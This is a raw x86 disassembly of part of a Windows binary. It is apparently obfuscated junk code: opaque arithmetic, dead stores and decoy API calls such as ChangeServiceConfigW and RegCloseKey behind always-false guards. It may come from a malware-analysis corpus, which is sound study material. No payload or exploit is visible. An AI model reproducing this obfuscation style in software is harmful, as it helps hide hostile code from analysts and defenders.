imul eax, eax, 0xf4d0
test eax, eax
je 0x1002a17b
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x158], eax
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002a1a5
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x158], 0xf51885a1
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002a194
jmp 0x1002a1bc
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a1be
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1a
jle 0x1002a268
mov dword [ebp - 0x1c], 5
mov dword [ebp - 0x58], 0x39c1d5
mov dword [ebp - 0x14], 0x435d7d23
mov dword [ebp - 0x3c], 0x4bfce934
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jge 0x1002a206
push 4
pop ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xbc0], ecx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jl 0x1002a1f3
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xbbc], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x58], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
sub edx, 0xd5dd215
neg edx
push 0
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov edx, dword [ebp - 0x58]
setl cl
sub edx, ecx
neg edx
sbb edx, edx
xor eax, eax
inc edx
imul edx, dword [ebp - 0x1c]
cmp edx, 0x686a
setge al
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1a
pop eax
jg 0x1002a1cb
push 3
pop ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002a28e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x888], 0x960f57a7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002a276
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002a2a4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xcf4], 0x6a3367f5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002a293
mov edx, dword [ebp - 0x888]
xor ecx, ecx
mov eax, dword [ebp - 0x884]
imul edx, eax
mov eax, dword [ebp - 0x888]
cmp eax, edx
setg cl
xor eax, eax
mov dword [ebp - 0xcf0], ecx
mov dword [ebp - 0x4c], eax
jmp 0x1002a306
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a2ed
push eax
push 0x13bc
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a303
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 7
jne 0x1002a2d3
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x1002a32e
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x528], 0x86fd5d70
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1002a315
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002a34e
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x160], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002a336
xor eax, eax
mov dword [ebp - 0x50], 0x31713b91
mov dword [ebp - 0x50], eax
jmp 0x1002a3cf
push 4
mov dword [ebp - 0x4c], eax
pop edx
cmp dword [ebp - 0x4c], edx
jge 0x1002a37c
or ecx, 0xffffffff
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x7e0], ecx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edx
jl 0x1002a368
xor eax, eax
mov dword [ebp - 0x7d8], eax
jmp 0x1002a3ae
cmp byte [ebp - 0x29], 0
je 0x1002a396
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_EndPaint]
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a3a8
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
dec dword [ebp - 0x7d8]
cmp dword [ebp - 0x7d8], 0xfffffffc
mov byte [ebp - 0x29], al
je 0x1002a384
cmp byte [ebp - 0x29], 0
je 0x1002a3cc
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xfffffff0
jg 0x1002a35a
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002a3f1
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1c4], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002a3dd
xor eax, eax
mov dword [ebp - 0x38], 0xa122
push 3
pop ecx
mov dword [ebp - 0x7f8], ecx
mov dword [ebp - 0x7f4], ecx
mov dword [ebp - 0x7f0], ecx
mov dword [ebp - 0x7ec], ecx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x58], 0xfffffffb
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], ecx
jge 0x1002a43d
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xf54], 0x1d018875
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x1002a425
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002a462
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x7f4], ebx
xor eax, eax
cmp dword [ebp - 0x38], 0x6173
jle 0x1002a45e
cmp dword [ebp - 0x7f4], eax
jne 0x1002a462
mov edx, eax
jmp 0x1002a464
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x58]
sub eax, 0x2e97
neg eax
sbb eax, eax
add eax, 0x8e47
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0xf54], eax
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002a4a7
cmp byte [ebp - 0x29], 0
je 0x1002a4a4
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
mov byte [ebp - 0x29], al
jle 0x1002a495
cmp byte [ebp - 0x29], 0
je 0x1002a63f
mov dword [ebp - 0x14], 0xd1e1e87d
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x1c], 0xfffffff9
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002a4ee
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf6c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002a4da
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002a510
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbd0], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002a4f7
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a525
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], eax
jl 0x1002a620
push 0xfffffffffffffffa
pop ecx
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x348], ecx
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x340], ecx
mov dword [ebp - 0x58], 0xfffffffe
push 4
mov dword [ebp - 0x4c], eax
pop ecx
cmp dword [ebp - 0x4c], ecx
jge 0x1002a57a
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x10a4], 0xfffffff9
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ecx
jl 0x1002a562
xor eax, eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 2
jg 0x1002a5e9
mov dword [ebp - 0x3c], 8
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x340]
cmp dword [ebp + eax*4 - 0xf6c], 0x924b5411
mov eax, dword [ebp - 0x58]
sbb ecx, ecx
inc ecx
imul eax, ecx
sub eax, dword [ebp - 0xbd0]
je 0x1002a5c6
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002a5c8
mov ecx, ebx
jmp 0x1002a5ca
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 6
sete al
mov dword [ebp - 0x10a4], eax
inc dword [ebp - 0x340]
cmp dword [ebp - 0x340], 2
jle 0x1002a589
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002a611
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jne 0x1002a617
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a60e
push eax
push 0x90f
push eax
call dword [sym.imp.GDI32.dll_GetRegionData]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002a5ee
dec dword [ebp - 0x14]
jns 0x1002a535
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x1c07
push 0x9ae
push 0x26f4
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
xor eax, eax
push 0xfffffffffffffffa
pop ecx
mov dword [ebp - 0x30], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff1
jg 0x1002a7d1
jmp 0x1002a65c
xor eax, eax
mov dword [ebp - 0x58], 0x2ee6d058
mov dword [ebp - 0x40], 0x8b15e3
mov dword [ebp - 0x44], 0xe712c519
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x4c], eax
jmp 0x1002a686
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x41c], ebx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 2
jl 0x1002a679
mov eax, dword [ebp - 0x30]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x30], eax
je 0x1002a69a
mov edx, ebx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
test ecx, ecx
mov dword [ebp - 0x418], ecx
sete dl
xor ecx, ecx
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
cmp edx, eax
mov eax, dword [ebp - 0x58]
mov edx, ebx
setle cl
sub edx, eax
mov eax, dword [ebp - 0x30]
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
mov eax, 0xb8b78acc
setg cl
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x30]
jne 0x1002a710
mov eax, dword [ebp - 0x418]
xor ecx, ecx
mov eax, dword [ebp - 0x418]
mov eax, dword [ebp - 0x30]
cmp eax, ebx
setle cl
xor eax, eax
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], eax
je 0x1002a717
cmp dword [ebp - 0x30], eax
je 0x1002a717
jmp 0x1002a712
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002a71c
cmp dword [ebp - 0x40], eax
je 0x1002a71e
mov eax, ebx
cmp eax, ebx
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002a75e
mov dword [ebp - 0x40], 0x14
jmp 0x1002a756
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a753
push 0x1fa5
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor eax, eax
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffe6
je 0x1002a73b
jmp 0x1002a7c1
mov dword [ebp - 0x4c], 0x8a3d3555
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x1002a773
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x418]
je 0x1002a784
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ebx, ebx
cmp edx, 0x615a0349
setge bl
xor ecx, ecx
cmp ebx, eax
setle cl
xor ebx, ebx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x1c]
inc ebx
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff1
jle 0x1002a65a
or ecx, 0xffffffff
mov eax, dword [ebp - 0x524]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c4]
inc dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x38], 0xe58b
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0x34]
jge 0x1002aaf9
mov dword [ebp - 0x20], 0x2c752785
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x3c], 0xfffffff7
push 3
mov dword [ebp - 0x4c], eax
pop edx
cmp dword [ebp - 0x4c], edx
jge 0x1002a84d
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0xbf0], ebx
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edx
jl 0x1002a839
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a865
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 3
xor eax, eax
pop edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x1002a88d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xbf0]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbf0], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1002a86e
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], edx
jge 0x1002a8ad
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x6fc], 0x12535b5b
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edx
jl 0x1002a895
xor eax, eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x14], 0x7d2703d9
mov dword [ebp - 0x4c], 0x9ecf4a41
mov dword [ebp - 0x58], 0xd6b3bfa3
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x1c], 0xf145ba13
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x1002a8f5
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x51c], 0x86fd5d70
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1002a8dc
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002a915
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x170], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002a8fd
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002a931
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x194], ebx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002a91d
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a95a
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x1c07
push 0x9ae
push 0x26f4
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 3
pop edx
mov eax, dword [ebp - 0x518]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x194]
inc dword [ebp - 0x194]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x14], 0xe58b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0x4c]
jge 0x1002a9ff
xor eax, eax
mov dword [ebp - 0x3c], 0x2c752785
mov dword [ebp - 0x4c], eax
jmp 0x1002a9bb
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x72c], 0x12535b5b
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edx
jl 0x1002a9aa
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x724]
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
je 0x1002a9e8
xor eax, eax
cmp dword [ebp - 0x724], eax
je 0x1002a9e8
cmp dword [ebp - 0x14], eax
jne 0x1002a9eb
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x728]
mov dword [ebp - 0x518], eax
jmp 0x1002aaba
xor eax, eax
mov dword [ebp - 0x44], 0x5a6edb5b
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1002aaba
mov dword [ebp - 0x58], 0xfffffff9
xor ecx, ecx
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x58], 0xc3d3
mov eax, dword [ebp - 0x58]
cmp eax, 0x9e48
setne cl
sub ecx, dword [ebp - 0x44]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, 0x2197
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x518]
setge bl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, ebx
setg cl
xor edx, edx
imul eax, ecx
cmp eax, 0x453d
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x170]
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setg cl
mov dword [ebp + eax*4 - 0x170], ecx
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jl 0x1002aab1
cmp dword [ebp - 0x44], eax
jne 0x1002aab1
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002aaac
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
dec dword [ebp - 0x4c]
jns 0x1002aa95
dec dword [ebp - 0x1c]
jns 0x1002aa14
mov eax, dword [ebp - 0x6f4]
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x6f4]
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
je 0x1002aae2
xor eax, eax
cmp dword [ebp - 0x6f4], eax
je 0x1002aae2
cmp dword [ebp - 0x38], eax
jne 0x1002aae5
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x524], eax
jmp 0x1002ac7a
mov dword [ebp - 0x50], ecx
xor eax, eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x50], eax
jmp 0x1002ab96
mov dword [ebp - 0x4c], 0xfffffffd
mov dword [ebp - 0x4c], 0xe
cmp dword [ebp - 0x4c], 0x14
je 0x1002ab93
push 3
pop ebx
mov dword [ebp - 0x5c], 0x3e63e315
mov dword [ebp - 0x5c], eax
jmp 0x1002ab61
mov dword [ebp - 0x14], 0x79e672ca
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002ab5e
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ab59
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x1002ab47
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], ebx
jle 0x1002ab38
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ab8a
push eax
push 0xfc3
push 0x21af
push eax
push 0x1cb7
push 0x20b4
push eax
call esi
xor eax, eax
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x14
jne 0x1002ab2c
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xf
je 0x1002ab15
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002abc1
push 0xb2b
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
xor eax, eax
mov dword [ebp - 0x58], 0x5a6edb5b
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x1002ac7c
mov dword [ebp - 0x48], 0xfffffff9
xor ecx, ecx
mov dword [ebp - 0x54], 6
mov dword [ebp - 0x48], 0xc3d3
mov eax, dword [ebp - 0x48]
cmp eax, 0x9e48
setne cl
sub ecx, dword [ebp - 0x58]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, 0x2197
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x524]
setge bl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, ebx
setg cl
xor edx, edx
imul eax, ecx
cmp eax, 0x453d
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x160]
cmp eax, edx
mov eax, dword [ebp - 0x28]
setg cl
mov dword [ebp + eax*4 - 0x160], ecx
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x1002ac71
cmp dword [ebp - 0x58], eax
jne 0x1002ac71
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ac6c
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
dec dword [ebp - 0x34]
jns 0x1002ac55
dec dword [ebp - 0x28]
jns 0x1002abd4
xor eax, eax
push 3
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002aca2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x864], 0x960f57a7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002ac8a
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002acb8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc6c], 0x6a3367f5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002aca7
mov edx, dword [ebp - 0x864]
xor ecx, ecx
mov eax, dword [ebp - 0x860]
imul edx, eax
mov eax, dword [ebp - 0x864]
cmp eax, edx
setg cl
xor eax, eax
mov dword [ebp - 0xc68], ecx
mov dword [ebp - 0x34], eax
jmp 0x1002ad1a
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ad01
push eax
push 0x13bc
call edi
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ad17
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 7
jne 0x1002ace7
mov dword [ebp - 0x5c], 0x31713b91
mov dword [ebp - 0x5c], eax
jmp 0x1002ada1
push 4
mov dword [ebp - 0x34], eax
pop edx
cmp dword [ebp - 0x34], edx
jge 0x1002ad4e
or ecx, 0xffffffff
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x810], ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edx
jl 0x1002ad3a
xor eax, eax
mov dword [ebp - 0x808], eax
jmp 0x1002ad80
cmp byte [ebp - 0x29], 0
je 0x1002ad68
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_EndPaint]
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ad7a
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
dec dword [ebp - 0x808]
cmp dword [ebp - 0x808], 0xfffffffc
mov byte [ebp - 0x29], al
je 0x1002ad56
cmp byte [ebp - 0x29], 0
je 0x1002ad9e
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
dec dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], 0xfffffff0
jg 0x1002ad2c
xor ebx, ebx
inc ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x38], 0xa122
push 3
pop ecx
mov dword [ebp - 0x828], ecx
mov dword [ebp - 0x824], ecx
mov dword [ebp - 0x820], ecx
mov dword [ebp - 0x81c], ecx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ecx
jge 0x1002adf9
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0xf84], 0x1d018875
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x1002ade1
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002ae1e
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x824], ebx
xor eax, eax
cmp dword [ebp - 0x38], 0x6173
jle 0x1002ae1a
cmp dword [ebp - 0x824], eax
jne 0x1002ae1e
mov edx, eax
jmp 0x1002ae20
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
sub eax, 0x2e97
neg eax
sbb eax, eax
add eax, 0x8e47
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xf84], eax
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1002ae66
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ae63
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x1002ae51
mov dword [ebp - 0x5c], 0x7d2703d9
push 0xfffffffffffffffa
pop ecx
mov dword [ebp - 0x30], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xfffffff1
jg 0x1002b001
mov dword [ebp - 0x48], 0x2ee6d058
mov dword [ebp - 0x40], 0x8b15e3
mov dword [ebp - 0x58], 0xe712c519
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x34], eax
jmp 0x1002aeb6
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x384], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x1002aea9
mov eax, dword [ebp - 0x30]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x30], eax
je 0x1002aeca
mov dword [ebp - 0x14], 0x9ecf4a41
mov dword [ebp - 0x5c], 0xd1e1e87d
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x1c], 0xfffffff9
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002b03c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdc8], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002b028
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002b05e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xaa4], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002b045
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002b073
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
xor eax, eax
mov dword [ebp - 0x5c], 2
cmp dword [ebp - 0x5c], eax
jl 0x1002b16e